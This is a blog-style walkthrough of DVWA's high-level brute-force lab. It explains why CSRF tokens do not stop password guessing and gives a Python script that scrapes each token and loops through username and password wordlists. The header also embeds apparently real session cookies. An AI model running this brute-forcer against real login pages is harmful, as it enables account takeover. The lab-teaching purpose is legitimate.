dvwa——Brute Force 高级python脚本解法
2022/1/17 22:07:11
本文主要是介绍dvwa——Brute Force 高级python脚本解法,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
高机中加入Token预防CSRF,重定向我们通过bp抓包发现多了一个user_token参数:
继续使用上面的爆破方式,发现全部被重定向:
Token机制:
Token是服务端生成的一串字符串,以作客户端进行请求的一个令牌,当第一次登录后,服务器生成一个Token便将此Token返回给客户端,以后客户端只需带上这个Token前来请求数据即可,无需再次带上用户名和密码。
Token可以用于防护CSRF攻击,但不可以预防暴力破解,因为每次会话的Token都会发送至前端,只需要递归地在前端接收Token作为下次访问的Token值就可以实施暴力破解了。
代码如下:
#dvwa(hign)暴力破解程序 import re import requests with open("user.txt",'r') as file: for username in file: #print (username.strip()) with open("password.txt",'r') as passwd: for password in passwd: #print (password.strip()) url = "http://x.x.x.x/dvwa/dvwa/vulnerabilities/brute/" header = { 'Cookie':'security=high; request_token=78gUEJrz2WPS3xN1XfqiXeGy2tgiHd8CxpzVAOSavBj4c8lA; pro_end=-1; ltd_end=-1; serverType=apache; order=id%20desc; memSize=1837; bt_user_info=%7B%22status%22%3Atrue%2C%22msg%22%3A%22%u83B7%u53D6%u6210%u529F%21%22%2C%22data%22%3A%7B%22username%22%3A%22151****1573%22%7D%7D; a3446a883d49d56e7e3ab64c9f2af2ad=d5a8f18a-489e-4beb-bca0-ee0272edea2f.b_FsvtXQq2JqFu6tBwn3MguJILs; JSESSIONID=B3B6110EF5A065700776C0554D642C4B; PHPSESSID=9cujklrgmm4qlsnhus8pa5ihbb' } r = requests.get(url=url,headers=header) #print (r.text) token = re.findall("<input type='hidden' name='user_token' value='(.*?)' />",r.text)[0] #print (token) url_last = url + '?username=' + username.strip() + '&password=' + password.strip() + '&Login=Login&user_token=' +token #print (url_last) res = requests.get(url=url_last,headers=header) #print (res.url) #print (res.text) if not re.findall('Username and/or password incorrect.',res.text): print ('破解成功啦,杀世子,夺青鸟!') print ("用户名是:", username.strip()) print ("密码是:", password.strip())
输出结果:
这篇关于dvwa——Brute Force 高级python脚本解法的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-11-21Python编程基础教程
- 2024-11-20Python编程基础与实践
- 2024-11-20Python编程基础与高级应用
- 2024-11-19Python 基础编程教程
- 2024-11-19Python基础入门教程
- 2024-11-17在FastAPI项目中添加一个生产级别的数据库——本地环境搭建指南
- 2024-11-16`PyMuPDF4LLM`:提取PDF数据的神器
- 2024-11-16四种数据科学Web界面框架快速对比:Rio、Reflex、Streamlit和Plotly Dash
- 2024-11-14获取参数学习:Python编程入门教程
- 2024-11-14Python编程基础入门